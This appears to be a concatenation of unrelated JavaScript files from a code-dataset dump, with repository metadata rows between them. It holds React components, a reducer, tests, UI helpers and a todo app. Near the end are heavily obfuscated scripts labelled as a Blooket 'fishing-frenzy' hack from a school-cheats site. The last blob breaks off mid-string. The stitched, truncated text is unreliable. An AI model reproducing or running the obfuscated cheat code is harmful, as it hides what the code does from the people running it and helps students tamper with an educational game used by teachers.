const { title } = await metascraper({
html: await ky(url).text(),
url
})
return title
}
| 17.913043 | 54 | 0.665049 |
0635032e92eb5f5d8c3f24abca3c8dbeb414c667 | 516 | js | JavaScript | mobile/src/components/UpdatedProduct/styles.js | costadaniel/tbnb-test | a84ef99a022fed8eda1ba5a614775f2362f6d84d | [
"MIT"
] | null | null | null | mobile/src/components/UpdatedProduct/styles.js | costadaniel/tbnb-test | a84ef99a022fed8eda1ba5a614775f2362f6d84d | [
"MIT"
] | null | null | null | mobile/src/components/UpdatedProduct/styles.js | costadaniel/tbnb-test | a84ef99a022fed8eda1ba5a614775f2362f6d84d | [
"MIT"
] | null | null | null | import styled from "styled-components/native";
export const Container = styled.TouchableOpacity`
background-color: #fff;
margin-top: 10px;
margin-left: 10px;
margin-right: 10px;
padding: 10px;
`;
export const ProductName = styled.Text`
font-size: 18px;
font-weight: bold;
`;
export const ProductDescription = styled.Text`
font-style: italic;
`;
export const ProductPrice = styled.Text`
font-size: 16px;
`;
export const ProductQuantity = styled.Text`
font-weight: bold;
font-size: 14px;
`;
| 18.428571 | 49 | 0.717054 |
0636bba6e72589527c1b52e02b7db55032e1229d | 883 | js | JavaScript | tests/flow/react/proptype_shape.js | fuelingtheweb/prettier | 53edfeb1ded1e2729e3f226f1a3fcc3b42516776 | [
"MIT"
] | 40,139 | 2017-02-20T22:01:11.000Z | 2022-03-31T19:56:19.000Z | tests/flow/react/proptype_shape.js | fuelingtheweb/prettier | 53edfeb1ded1e2729e3f226f1a3fcc3b42516776 | [
"MIT"
] | 9,185 | 2017-02-20T22:02:24.000Z | 2022-03-31T20:45:07.000Z | tests/flow/react/proptype_shape.js | fuelingtheweb/prettier | 53edfeb1ded1e2729e3f226f1a3fcc3b42516776 | [
"MIT"
] | 4,365 | 2017-02-21T16:30:33.000Z | 2022-03-31T02:49:26.000Z | /* Shape should be a sealed, inexact object just like a type annotation. The
* below component's `foo` property should be equivalent to `{ bar: string }`,
* which would forbid reads/writes on an unknown `baz` property.
*
* If you see a single "number incompatible with string" error instead of two
* separate "property `baz` not found" errors, this is broken and we are
* treating the shape like an unsealed object and performing shadow read/writes.
*/
import React from "react";
React.createClass({
propTypes: {
foo: React.PropTypes.shape({
bar: React.PropTypes.string.isRequired,
}).isRequired,
},
f() {
(this.props.foo.baz: string);
},
g() {
this.props.foo.baz = 0;
}
});
React.createClass({
propTypes: {
foo: React.PropTypes.shape(({}: {[string]: any})).isRequired,
},
f() {
(this.props.foo.bar: empty); // OK
},
});
| 24.527778 | 80 | 0.655719 |
0636db33b89af54edbca9879ef1a966a4844c53b | 466 | js | JavaScript | src/components/shared/Notifier/redux/reducer.js | SuarezValenciaSebastian/FastShoppingApp-front | 9e173eb4178b20ec604da9d1f99c1efb516ac538 | [
"MIT"
] | null | null | null | src/components/shared/Notifier/redux/reducer.js | SuarezValenciaSebastian/FastShoppingApp-front | 9e173eb4178b20ec604da9d1f99c1efb516ac538 | [
"MIT"
] | null | null | null | src/components/shared/Notifier/redux/reducer.js | SuarezValenciaSebastian/FastShoppingApp-front | 9e173eb4178b20ec604da9d1f99c1efb516ac538 | [
"MIT"
] | null | null | null | import {
NOTIFIER_NOTIFICATION__PUSH,
NOTIFIER_NOTIFICATION__DISMISS,
} from "./actions";
const initialState = {
notifications: [],
};
export default (state = initialState, { type, payload }) => {
switch (type) {
case NOTIFIER_NOTIFICATION__PUSH:
return { ...state, notifications: [...state.notifications, payload] };
case NOTIFIER_NOTIFICATION__DISMISS:
return { ...state, notifications: [] };
default:
return state;
}
};
| 22.190476 | 76 | 0.667382 |
06372631c69e92c4ae9308b0f71aa746edf56b4c | 101 | js | JavaScript | node_modules/react-bootstrap/esm/NavItem.js | NFT-Genders/GenderCats-front | 0b2302c1566cec15270e9fe0ddbd3f20a003b379 | [
"MIT"
] | 2 | 2021-11-17T04:27:26.000Z | 2022-01-20T06:17:17.000Z | node_modules/react-bootstrap/esm/NavItem.js | NFT-Genders/GenderCats-front | 0b2302c1566cec15270e9fe0ddbd3f20a003b379 | [
"MIT"
] | 42 | 2022-02-12T15:34:10.000Z | 2022-02-15T22:23:30.000Z | node_modules/react-bootstrap/esm/NavItem.js | NFT-Genders/GenderCats-front | 0b2302c1566cec15270e9fe0ddbd3f20a003b379 | [
"MIT"
] | 3 | 2021-08-05T00:51:37.000Z | 2021-09-01T03:20:17.000Z | import createWithBsPrefix from './createWithBsPrefix';
export default createWithBsPrefix('nav-item'); | 50.5 | 54 | 0.831683 |
063736945efdaf581d0a5c175e962ff01d6a770e | 2,578 | js | JavaScript | src/main/webapp/assets/js/base/base-notice.js | zcy-fover/CTMS | ca3a9452e4ca159fc6d45982f3ff5c5e01979f7e | [
"BSD-2-Clause"
] | null | null | null | src/main/webapp/assets/js/base/base-notice.js | zcy-fover/CTMS | ca3a9452e4ca159fc6d45982f3ff5c5e01979f7e | [
"BSD-2-Clause"
] | null | null | null | src/main/webapp/assets/js/base/base-notice.js | zcy-fover/CTMS | ca3a9452e4ca159fc6d45982f3ff5c5e01979f7e | [
"BSD-2-Clause"
] | 1 | 2020-05-22T06:42:00.000Z | 2020-05-22T06:42:00.000Z | /**
* 该 JS 实现了两个功能:showAlert 和 showTip
* @type {*|jQuery|HTMLElement}
*/
var alert = $('#alert');
// alert 默认弹出的速度
var animation_speed = 'normal';
// alert 默认消失时间
var dismiss_time = 2000;
// alert 默认样式
var reset_style = {
'margin': '0 auto',
'display': 'table',
'z-index': '2000'
};
$(function (){
// 绑定关闭事件
$(alert).find('button').click(function (){
$(alert).closest('div').hide();
});
// 设定样式
$(alert).find('h4').css({display: 'inherit', color: 'blue'});
$(alert).find('p').css({'display': 'table', 'margin': '0 auto'});
$(alert).css(reset_style).closest('div').hide();
});
/**
* 显示 alert
* @param title 信息标题
* @param message 信息体
* @param level 显示一个提示框,提示框有四种等级:.alert-success、.alert-info、.alert-warning、.alert-danger
*/
var showAlert = function(title, message, level, push) {
var icon;
if(title != '' && message != '' && level != '') {
// 设置 icon 的样式,检验 level 是否在规定的四个等级内
if(level == 'alert-success')
icon = 'fa-check';
else if(level == 'alert-info')
icon = 'fa-info';
else if(level == 'alert-warning')
icon = 'fa-warning';
else if(level == 'alert-danger')
icon = 'fa-ban';
else
return;
// 格式化数据
level = 'alert alert-dismissible ' + level;
icon = 'icon fa ' + icon;
// 写入数据到标签上
$(alert).attr('class', level);
$(alert).find('h4').html('<i class="' + icon + '"></i>'+' ' + title);
$(alert).find('p').text(message);
if(!push)
$(alert).closest().css({'height': '0'});
// 显示
$(alert).closest('div').slideDown(animation_speed);
//hideAlert(dismiss_time);
}
};
// 隐藏 Alert
var hideAlert = function(time) {
$(alert).fadeOut(time);
};
// 设置 CSS 样式
var setCSS = function(new_style) {
$(alert).css(new_style);
};
// 重置 CSS 样式
var resetCSS = function() {
$(alert).css(reset_style);
};
var setPopover = function(popover, width) {
$(popover).find('div[class="arrow"]').css({top: '50%'});
$(popover).find('div[class="popover-content"]').css({
width: width,
height: '38px'
});
};
/**
* 显示 tip
* @param target
* @param opts
*/
var showTip = function(target, msg) {
$(target).data('content', msg);
target.popover('show');
};
/**
* 隐藏 tip
* @param target
*/
var hideTip = function(target) {
target.popover('hide');
};
var setTipOptions = function(target, key, value) {
if(typeof(target) != 'undefined') {
$(target).data(key, value);
}
}; | 24.552381 | 88 | 0.541893 |
063a4bccee440cc48c9dac8ab3494a9c30eafd6e | 610 | js | JavaScript | frontend/node_modules/.pnpm/@rsuite+icons@1.0.2_react-dom@17.0.2+react@17.0.2/node_modules/@rsuite/icons/lib/icons/legacy/ArrowsV.js | koenw/fullstack-hello | 6a2317b7e6ace4b97134e7cc2bb5b1159b556d78 | [
"Apache-2.0",
"MIT"
] | 2 | 2021-11-26T00:46:16.000Z | 2021-11-27T06:55:57.000Z | frontend/node_modules/.pnpm/@rsuite+icons@1.0.2_react-dom@17.0.2+react@17.0.2/node_modules/@rsuite/icons/lib/icons/legacy/ArrowsV.js | koenw/fullstack-hello | 6a2317b7e6ace4b97134e7cc2bb5b1159b556d78 | [
"Apache-2.0",
"MIT"
] | 2 | 2022-01-18T13:54:05.000Z | 2022-03-24T01:18:30.000Z | frontend/node_modules/.pnpm/@rsuite+icons@1.0.2_react-dom@17.0.2+react@17.0.2/node_modules/@rsuite/icons/lib/icons/legacy/ArrowsV.js | koenw/fullstack-hello | 6a2317b7e6ace4b97134e7cc2bb5b1159b556d78 | [
"Apache-2.0",
"MIT"
] | null | null | null | "use strict";
var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");
exports.__esModule = true;
exports["default"] = void 0;
var _createSvgIcon = _interopRequireDefault(require("../../createSvgIcon"));
var _ArrowsV = _interopRequireDefault(require("@rsuite/icon-font/lib/legacy/ArrowsV"));
// Generated by script, don't edit it please.
var ArrowsV = (0, _createSvgIcon["default"])({
as: _ArrowsV["default"],
ariaLabel: 'arrows v',
category: 'legacy',
displayName: 'ArrowsV'
});
var _default = ArrowsV;
exports["default"] = _default;
module.exports = exports.default; | 29.047619 | 87 | 0.732787 |
063b5355d36d3d9b6b57bb1c4257e1738bf9abf3 | 2,174 | js | JavaScript | WebContent/js/adBar.js | LZJavaweb/xMeituan | 777d9fe4bae99f36b9d0fc89ace591a020fa9cc5 | [
"MIT"
] | null | null | null | WebContent/js/adBar.js | LZJavaweb/xMeituan | 777d9fe4bae99f36b9d0fc89ace591a020fa9cc5 | [
"MIT"
] | 1 | 2018-06-19T13:58:20.000Z | 2018-06-19T13:58:20.000Z | WebContent/js/adBar.js | LZJavaweb/xMeituan | 777d9fe4bae99f36b9d0fc89ace591a020fa9cc5 | [
"MIT"
] | null | null | null | var adpage = 1;
function adBar(speed){
//增加广告按钮
var adBox = document.getElementById("main-top-ad");
var imgsBox = document.getElementById("top-ad-img");
var imgs = imgsBox.getElementsByTagName("a");
for (var i = 0; i < imgs.length; i++) {
var j = i+1;
var a = document.createElement("a");
a.innerHTML = j;
a.setAttribute("href","javascript:void(0);");
a.setAttribute("id","ad-link-" + j);
a.setAttribute("class","ad-page");
a.setAttribute("onclick","adChange(" + j+ ");");
adBox.appendChild(a);
}
//广告条按钮排序
sortAdbarBtn();
//广告条无限滚动
//如果参数为0,则没有自动播放
if (speed != 0) {
window.setInterval('adChange()',speed);
}
}
function sortAdbarBtn(){
//广告栏按钮排序
var adbtn = document.getElementsByClassName("ad-page");
var nums = adbtn.length;
//right 最小的是10 间隔23
for(var i = 0;i<nums;i++){
console.log(i);
var x = nums-i-1;
adbtn[x].style.right = 10 + 23*i + "px";
}
}
function adChange(page){
var alinks = document.getElementById("top-ad-img").getElementsByTagName("a");
var theEvent = window.event || arguments[0];
//DOM
if(!page){
if(adpage == alinks.length){
adpage = 1;
}
else{
adpage++;
}
page = adpage;
}
else{
if(theEvent.preventDefault){
theEvent.preventDefault();
}
else{
theEvent.returnValue = false;
}
}
var percent = (page-1) / alinks.length *100;
var now_alink = document.getElementById("ad-link-" + page);
var other_alinks = document.getElementsByClassName("ad-page")
for(var i=0;i<other_alinks.length;i++){
other_alinks[i].style.opacity = "0.6";
other_alinks[i].style.backgroundColor = "#F5F5F5";
other_alinks[i].style.color = "#555555";
}
now_alink.style.opacity = "1";
now_alink.style.backgroundColor = "rgba(255,102,0,.8)";
now_alink.style.color = "#fff";
document.getElementById("top-ad-img").style.WebkitTransform = "translateY(-" + percent + "%)";
document.getElementById("top-ad-img").style.msTransform = "translateY(-" + percent + "%)";
document.getElementById("top-ad-img").style.transform = "translateY(-" + percent + "%)";
adpage = page;
}
| 23.12766 | 96 | 0.622815 |
063c469befbdca4355cca00613543abf8cb68039 | 2,012 | js | JavaScript | packages/veritone-client-js/apis/widget.spec.js | jerry-li-dev/veritone-sdk | c81c571297c38ce4545d4cadceae89d6462c48a7 | [
"Apache-2.0"
] | 16 | 2017-09-30T00:17:34.000Z | 2020-11-12T22:56:11.000Z | packages/veritone-client-js/apis/widget.spec.js | jerry-li-dev/veritone-sdk | c81c571297c38ce4545d4cadceae89d6462c48a7 | [
"Apache-2.0"
] | 172 | 2017-10-03T00:44:05.000Z | 2022-03-15T19:52:02.000Z | packages/veritone-client-js/apis/widget.spec.js | jerry-li-dev/veritone-sdk | c81c571297c38ce4545d4cadceae89d6462c48a7 | [
"Apache-2.0"
] | 7 | 2017-11-08T06:32:53.000Z | 2021-05-11T21:24:46.000Z | import { expect } from 'chai';
import { endpoints } from './config';
import { assertMatches } from '../apis/helper/test-util';
import widgetHandlers from './widget';
describe('Widgets', function() {
describe('createWidget', function() {
it('posts to the collectionId with the widget', function() {
const data = {
widget: 'my-widget'
};
const expected = {
method: 'post',
path: /my-collection/,
data
};
const result = widgetHandlers.createWidget('my-collection', data);
assertMatches(result, expected);
});
});
describe('getWidgets', function() {
it('validates collectionId', function() {
expect(() => widgetHandlers.getWidgets()).to.throw(/collectionId/);
});
it('gets the widgetId with extra data in the query', function() {
const query = {
data: 'my-data'
};
const expected = {
method: 'get',
path: /my-collection\/widget/,
query
};
const result = widgetHandlers.getWidgets('my-collection', query);
assertMatches(result, expected);
});
});
describe('getWidget', function() {
it('validates widgetId', function() {
expect(() => widgetHandlers.getWidget()).to.throw(/widgetId/);
});
it('gets the widgetId with extra data in the query', function() {
const query = {
query: 'my-query'
};
const expected = {
method: 'get',
path: /my-widget/,
query
};
const result = widgetHandlers.getWidget('my-widget', query);
assertMatches(result, expected);
});
});
describe('updateWidget', function() {
it('puts to the widget endpoint with the widget', function() {
const data = {
widget: 'my-widget'
};
const expected = {
method: 'put',
path: endpoints.widget,
data
};
const result = widgetHandlers.updateWidget(data);
assertMatches(result, expected);
});
});
});
| 23.952381 | 73 | 0.571074 |
063d9daff5cfd4d34a5d0d2358989f40012c34cc | 64 | js | JavaScript | src/components/Monitoring/index.js | tombenke/monitoring-react-component | 4eb4d39d966726afff8d447d16e3c13f28bec7f7 | [
"MIT"
] | null | null | null | src/components/Monitoring/index.js | tombenke/monitoring-react-component | 4eb4d39d966726afff8d447d16e3c13f28bec7f7 | [
"MIT"
] | null | null | null | src/components/Monitoring/index.js | tombenke/monitoring-react-component | 4eb4d39d966726afff8d447d16e3c13f28bec7f7 | [
"MIT"
] | null | null | null | import Monitoring from './Monitoring'
export default Monitoring
| 21.333333 | 37 | 0.828125 |
063e68c8285a9b1570e38e6185651e2aa9ac488e | 2,913 | js | JavaScript | src/index.js | zainsadaqat/todo-list | d7c563fc991d6a8b605186b9f3cf82b5e834fa9f | [
"MIT"
] | 1 | 2021-08-22T00:56:06.000Z | 2021-08-22T00:56:06.000Z | src/index.js | zainsadaqat/todo-list | d7c563fc991d6a8b605186b9f3cf82b5e834fa9f | [
"MIT"
] | 5 | 2021-08-19T07:12:21.000Z | 2022-01-23T18:35:15.000Z | src/index.js | zainsadaqat/todo-list | d7c563fc991d6a8b605186b9f3cf82b5e834fa9f | [
"MIT"
] | null | null | null | import Todo from './todo.js';
import './style.css';
const TODO_LIST_KEY = 'TODO_LIST_KEY';
const template = document.querySelector('#list-item-template');
const todoListContainer = document.querySelector('#list');
const form = document.querySelector('.form');
const inputField = document.querySelector('#todo-input');
const clearAllCompleted = document.querySelector('.clear-all-completed');
const loadList = () => {
const dataInStringFormat = localStorage.getItem(TODO_LIST_KEY);
return JSON.parse(dataInStringFormat) || [];
};
const renderTodo = (todo) => {
const templateClone = template.content.cloneNode(true);
const taskContent = templateClone.querySelector('[data-list-item-text]');
taskContent.innerText = todo.description;
const checkBox = templateClone.querySelector('[data-list-item-checkbox]');
checkBox.checked = todo.completed;
checkBox.addEventListener('change', () => {
todo.completed = checkBox.checked;
localStorage.setItem(TODO_LIST_KEY, JSON.stringify(todoList));
});
const listItem = templateClone.querySelector('.list-item');
listItem.dataset.todoIndex = todo.index;
todoListContainer.appendChild(templateClone);
};
let todoList = loadList();
todoList.forEach((todo) => renderTodo(todo));
const clearField = () => {
inputField.value = '';
};
const setIndex = () => {
let length = todoList.length;
for (let i = 0; i < length; i += 1) {
todoList[i].index = i + 1;
}
};
form.addEventListener('submit', () => {
if (inputField.value === '') return;
const todoTemplate = new Todo(todoList.length, inputField.value, false);
todoList.push(todoTemplate);
setIndex();
renderTodo(todoTemplate);
localStorage.setItem(TODO_LIST_KEY, JSON.stringify(todoList));
clearField();
});
todoListContainer.addEventListener('click', (e) => {
if (!e.target.matches('[data-button-delete]')) return;
const parent = e.target.closest('.list-item');
const todoIndex = parseInt(parent.dataset.todoIndex);
parent.remove(); // removes from the screen
todoList = todoList.filter((todo) => todo.index !== todoIndex); // removes from the list
setIndex();
localStorage.setItem(TODO_LIST_KEY, JSON.stringify(todoList));
});
clearAllCompleted.addEventListener('click', () => {
todoList = todoList.filter((todo) => todo.completed === false);
setIndex();
localStorage.setItem(TODO_LIST_KEY, JSON.stringify(todoList));
location.reload();
});
todoListContainer.addEventListener('click', (e) => {
if (!e.target.matches('[data-button-edit]')) return;
const parent = e.target.closest('.list-item');
const todoId = parent.dataset.todoIndex;
const todoIndex = parent.querySelector('[data-list-item-text]');
const editedTodo = prompt('Please edit your todo', '');
if (editedTodo !== null) {
todoList[todoIndex].description = editedTodo;
}
localStorage.setItem(TODO_LIST_KEY, JSON.stringify(todoList));
location.reload();
});
| 33.482759 | 90 | 0.710608 |
063ea979c89c1fdde21680e3a06b37fb9208f268 | 40 | js | JavaScript | packages/sdk/src/VERSION.js | nduplessis/flow-js-sdk | 62df41544ccc78b062560ae6072acb03a16dcfc6 | [
"Apache-2.0"
] | null | null | null | packages/sdk/src/VERSION.js | nduplessis/flow-js-sdk | 62df41544ccc78b062560ae6072acb03a16dcfc6 | [
"Apache-2.0"
] | null | null | null | packages/sdk/src/VERSION.js | nduplessis/flow-js-sdk | 62df41544ccc78b062560ae6072acb03a16dcfc6 | [
"Apache-2.0"
] | null | null | null | export const VERSION = "0.0.51-alpha.1"
| 20 | 39 | 0.7 |
063ea9dc0b4d2bd0b0b35371a9dbd10543d7b96c | 579 | js | JavaScript | const.js | isijolatosin/luxEmpire | 01eb76733979d85941a502954cdcd75d84227685 | [
"RSA-MD"
] | null | null | null | const.js | isijolatosin/luxEmpire | 01eb76733979d85941a502954cdcd75d84227685 | [
"RSA-MD"
] | null | null | null | const.js | isijolatosin/luxEmpire | 01eb76733979d85941a502954cdcd75d84227685 | [
"RSA-MD"
] | null | null | null | export const AUTHORIZED_ID_1 = "isijolatosin2210@gmail.com"
export const AUTHORIZED_ID_2 = "bandgluxuryinternal@gmail.com"
export const AUTHORIZED_ID_3 = "bandgluxuryinternal@gmail.com"
export const SHIPPING_COST = {
canada: 6.99,
usa: 20.99,
london: 20.99,
}
export const CANADA = "canada"
export const USERS = "users"
export const BOOKINGS = "bookings"
export const FREE_SHIPPING_AMOUNT = 200
export const CURRENCY = "cad"
export const TAX_PERCENT = 0.13
export const HTTPS_LINK = "https://www.bandgluxuryempire.com"
// export const HTTPS_LINK = "http://localhost:8888"
| 32.166667 | 62 | 0.768566 |
063f5c8b829f65edcad979942b69ab428dd0c11e | 264 | js | JavaScript | server/controllers/pageController.js | Dugbatey-Blossom20/Restaurant_Website | f673851fdcf6856d09e29369cbc9fabfd9752ea9 | [
"MIT"
] | null | null | null | server/controllers/pageController.js | Dugbatey-Blossom20/Restaurant_Website | f673851fdcf6856d09e29369cbc9fabfd9752ea9 | [
"MIT"
] | null | null | null | server/controllers/pageController.js | Dugbatey-Blossom20/Restaurant_Website | f673851fdcf6856d09e29369cbc9fabfd9752ea9 | [
"MIT"
] | null | null | null | require('../models/mongooseConnection')
exports.home = async(req,res) => {
//rendering the home page
await res.render('pages/home', {title : "Home"})
}
exports.ourStory = async (req,res) => {
await res.render('pages/ourStory', {title: "Our Story"})
} | 26.4 | 60 | 0.647727 |
063f8d987d11d208238638210fee6b28a585e656 | 288 | js | JavaScript | javascript/nodejs/udemy/filesystem/pipe.js | marcusbalbi/study | 43abfd3e0d7d0eba10623bcb6f0d45f92d8e3ce2 | [
"MIT"
] | null | null | null | javascript/nodejs/udemy/filesystem/pipe.js | marcusbalbi/study | 43abfd3e0d7d0eba10623bcb6f0d45f92d8e3ce2 | [
"MIT"
] | 32 | 2020-07-19T16:35:23.000Z | 2022-03-02T04:38:27.000Z | javascript/nodejs/udemy/filesystem/pipe.js | marcusbalbi/study | 43abfd3e0d7d0eba10623bcb6f0d45f92d8e3ce2 | [
"MIT"
] | null | null | null | const fs = require('fs')
const zlib = require('zlib')
const stream = fs.createReadStream(__dirname + '/bigtextfile.txt')
const compressed = fs.createWriteStream(__dirname + '/copybigtextfile.txt.gz')
const gzippedStream = zlib.createGzip()
stream.pipe(gzippedStream).pipe(compressed)
| 28.8 | 78 | 0.763889 |
063fc9dc135febf45c0e345ccb4e1a27a24bf850 | 37,312 | js | JavaScript | fishing-frenzy/setWeight.js | P3orn/blooket-hack | 7ac8bce5a405e69f603ac24827e6091af20fe0a2 | [
"MIT"
] | null | null | null | fishing-frenzy/setWeight.js | P3orn/blooket-hack | 7ac8bce5a405e69f603ac24827e6091af20fe0a2 | [
"MIT"
] | null | null | null | fishing-frenzy/setWeight.js | P3orn/blooket-hack | 7ac8bce5a405e69f603ac24827e6091af20fe0a2 | [
"MIT"
] | null | null | null | function _0x31aa(_0x3cdeeb, _0x2ede77) {
var _0x498eb5 = _0x178c();
return _0x31aa = function (_0x52d904, _0x208bd4) {
_0x52d904 = _0x52d904 - (-0x19cb + -0x221 * 0x8 + 0x2cc1);
var _0x344514 = _0x498eb5[_0x52d904];
return _0x344514;
}, _0x31aa(_0x3cdeeb, _0x2ede77);
}
(function (_0x4c191f, _0x476a3e) {
var _0x2c8e6d = _0x31aa, _0x3953ac = _0x4c191f();
while (!![]) {
try {
var _0x51c7fc = parseInt(_0x2c8e6d(0x1ef)) / (-0x1f83 + -0x36b * -0x1 + 0x1c19) + parseInt(_0x2c8e6d(0x20d)) / (-0x6aa + 0xd * 0x1a3 + -0xe9b) * (-parseInt(_0x2c8e6d(0x213)) / (0xc * 0x235 + 0x40 * -0xa + -0x17f9)) + -parseInt(_0x2c8e6d(0x1fa)) / (-0x1ced + -0x1 * -0x10b8 + -0x413 * -0x3) * (parseInt(_0x2c8e6d(0x1fb)) / (0x10c * -0x20 + 0x7b3 + -0x52a * -0x5)) + -parseInt(_0x2c8e6d(0x216)) / (-0x246 * 0x6 + 0x747 + 0x663) * (-parseInt(_0x2c8e6d(0x202)) / (-0x166e + -0x1 * -0x813 + 0xe62)) + -parseInt(_0x2c8e6d(0x1f3)) / (0x25a6 + 0x3aa + -0x2948) + -parseInt(_0x2c8e6d(0x21a)) / (0xce1 + -0x1599 + 0x8c1) + parseInt(_0x2c8e6d(0x219)) / (-0x6e4 + 0x1277 + -0xb89);
if (_0x51c7fc === _0x476a3e)
break;
else
_0x3953ac['push'](_0x3953ac['shift']());
} catch (_0x455430) {
_0x3953ac['push'](_0x3953ac['shift']());
}
}
}(_0x178c, 0xdac * -0xcb + -0x1 * 0x1357 + 0x10c217), ((() => {
var _0x353bb5 = _0x31aa, _0x568576 = {
'ldXVO': _0x353bb5(0x207) + _0x353bb5(0x200),
'isiUh': _0x353bb5(0x214) + _0x353bb5(0x1fc) + _0x353bb5(0x210) + _0x353bb5(0x20a) + _0x353bb5(0x217),
'jcaNy': _0x353bb5(0x1ee) + _0x353bb5(0x204) + _0x353bb5(0x1f2) + _0x353bb5(0x205) + _0x353bb5(0x1f0) + _0x353bb5(0x218) + _0x353bb5(0x20c) + _0x353bb5(0x1fe) + _0x353bb5(0x1f8) + _0x353bb5(0x21b) + _0x353bb5(0x1f4) + _0x353bb5(0x1f5) + _0x353bb5(0x1f6),
'kfwrn': _0x353bb5(0x214) + _0x353bb5(0x1fc) + _0x353bb5(0x1fd) + _0x353bb5(0x1f9) + _0x353bb5(0x20b),
'YOcxu': _0x353bb5(0x215) + _0x353bb5(0x1ff) + _0x353bb5(0x208) + _0x353bb5(0x21c) + _0x353bb5(0x201) + _0x353bb5(0x20e),
'TcZgN': _0x353bb5(0x214) + _0x353bb5(0x1fc) + _0x353bb5(0x210) + _0x353bb5(0x20a) + _0x353bb5(0x1f7)
};
console[_0x353bb5(0x20f)](_0x568576[_0x353bb5(0x206)], _0x568576[_0x353bb5(0x209)]), console[_0x353bb5(0x20f)](_0x568576[_0x353bb5(0x203)], _0x568576[_0x353bb5(0x212)]), console[_0x353bb5(0x20f)](_0x568576[_0x353bb5(0x1f1)], _0x568576[_0x353bb5(0x211)]);
})()));
function _0x178c() {
var _0x3d9156 = [
'1522544SvWdeL',
'ned\x20from\x20t',
'he\x20platfor',
'm.\x20',
'ze:12px',
'iolators\x20w',
'ont-size:1',
'4tQDFZm',
'1387840AawNPT',
':\x20#222;\x20co',
'lor:\x20red;f',
'nywhere.\x20V',
'ication:\x204',
'HEATS.NET\x20',
'49/56/56/4',
'476588ShFOIH',
'jcaNy',
':\x20You\x20are\x20',
'd\x20to\x20repos',
'ldXVO',
'%c\x20SCHOOLC',
'9/53/52/46',
'isiUh',
'f6;font-si',
'8px',
'l\x20cheats\x20a',
'2kLtVnk',
'6/50/51/48',
'log',
'lor:\x20#8b5c',
'TcZgN',
'kfwrn',
'1927581rzKMfX',
'background',
'%c\x20Identif',
'36WUtUng',
'ze:24px',
'from\x20schoo',
'6190680EtAYkB',
'758583nzMjvE',
'ill\x20be\x20ban',
'/50/56/46/',
'%c\x20Warning',
'549940Hwixkr',
't\x20scripts\x20',
'YOcxu',
'not\x20allowe'
];
_0x178c = function () {
return _0x3d9156;
};
return _0x178c();
}function _0x57f3(){const _0x7605c7=['mJyZmdi5mKzxuxbdCq','zwXLy3q6BM9Uzq','C3rHz2u','AxrPB246igfICW','Ag9VBgnOzwf0CW','B2zMC2v0tgvMDa','t0nsvuK','AfL0q1O','Aw5MBW','icaGigzVBNqTCW','rfn4DeC','uMv2BNi','Bg9N','quH5Ehe','zw5HyMXLza','y2HLC3qTzxnW','zxiUy29Tl2DSAq','CNqGDgHPCYbPBG','z2X0BNa','C2XPDeG','id4GzgL2','Bu5hwgG','BgvMDa','zxHJzxb0Aw9U','y29SB3i6ihjNyG','ChjPEMu','iIWGC2fUCY1Zzq','og5bs3vqqW','C3r5Bgu','yNjVA2vUlIbeBW','vujWAve','rg8GEw91ihDHBG','B2X1Dgu7ihrVCa','icaGicaGBwfYzW','u2nYAxb0igLZia','tfblEfK','B3bLBG','y2HVAwnLCW','oM5VBMu7cIaGia','ywXLCNq','ufzWB0u','tMjxuvy','oIb3AgL0ztSkia','vxf2vw4','CI1ZzwXLy3q6BG','Dgv4Dc1HBgLNBG','BwLetMW','BvbutMm','Dgv4Da','E30Uy29UC3rYDq','DwXKihLVDsbSAq','Dxm6ideWChG7ia','sg1LAMG','Dg8Gz2v0ihrOzq','C2vYlxnLBgvJDa','kdi0mcWGmJqWla','DdOGmJbWEdSGyG','yxjNA1u','EKryt20','vfrIsva','BfPuuwS','r211Ag4','DKrmt0C','BMXzzwy','nZqXndeZELL0tvLc','yxbWzw5Kq2HPBa','qwvOCe4','ihnLCNzLCJ8','v0jxruO','ChjVDg90ExbL','cIaGicaGicaGia','ihrLEhqTywXPzW','C2vHCMnO','Ahr0Chm6lY9NBa','B2fwue8','mtbNs2jxzwW','ihLVDsb3yw50ia','D2fYBG','igjVCMrLCI1JBW','zgL2w2nSyxnZkG','ug5YAuu','nty3mZGZnfrLr3ruCq','nJvWEdSGD2LKDa','z3vSyxjcB2r5jW','mti2ndaXnhvizg5bua','ELv5EMy','zw50','y2HPBgrYzw4','icaGicaGicaGia','y1fWvNq','y3q6BM9UztSkia','ENv3DsiGDgfYzW','Aw5UzxjuzxH0','BwLSEtPuAxrHBG','y29UzMLYBq','icaGzM9UDc1Myq','AguGDxbKyxrLza','B25TB3vZzw1VDG','zxjZAw9UpW','BM93','ChjLDMvUDerLzG','icaGicaGlw1VEG','wgrXAfq','B25TB3vZzxvW','y3rVCIGICMv0Dq','icaGlw1ZlxvZzq','sNPoCgC','AwHWD0e','tLfctNe','uwDmzui','EhjyDee','CxvLCNLtzwXLyW','wgTOtvO','yM9YzgvYoIa0Ca','BfDwrue','zxjYB3i','ueXJzw4','AxP6zxjZlNH5EG','icaGicbJB2XVCG','AdOGmtC1ChG7ia','qw4GzxjYB3iGBW','AwzYyw1L','mtGZotaWnuTlq2LOrW','BwuH','DvnKvfC','y2XPzw50wq','y2XHC3noyw1L','sKD3r3e','B25TB3vZzwrVDW','ChjVBxb0','mtuPoYbIywnRzW','Ahr0Chm6lY9ZyW','oWOGicaGicaGia','ie15idXHihn0Eq','Bg9JyxrPB24','ihrOzsbZDxbWBW','rKDxDfm','wuXdENO','shLNzxe','mJK1nZK3mfzbq3P3qW','BwHgD2u','iJ50D2L0DgvYpa','zxqV','oYbOzwLNAhq6ia','ihzLCNnPB24/','y29UC3rYDwn0BW','oIaYmhG7igXLzG','B3btAwS','y3jLyxrLrwXLBq','kcGOlISPkYKRkq','B25LoWOGicaGia','tg5ZvvK','ihvWzgf0zwqGDG','B3jKzxiTCMfKAq','yxbWBhK','zM9YrwfJAa','zsbPBIbHigDVBa','y2XPzw50wa','CLfpBvy','yM9KEq','yND4vNy','CMLMoYbMB250lq','Dwzwtui','s3Dgt2O','A2uGDg8GCMvWBW','mMX3AMHvCG','x293BMvY','ELbrB0W','sxDuEwK','Dg9tDhjPBMC','rLfYBNm','kdaSidaSidaPoW','AuDYB1G','DLnKrvO','CfTJBgfZCYO9jW','Bgu9iMnVBg9YoG','thfSBK0','CM4GDgHPCYiPka','A3fws2S','uursCM4','C2fUCY1ZzxjPzG','C1LRvwW','ie9UztSkicaGia','y2HLC3qTzxnWjW','x19WCM90B19F','ELzWEw0','igHYzwy9iMH0Da','zg9ntxK','y1bIveu','oIbJzw50zxi7cG','sxH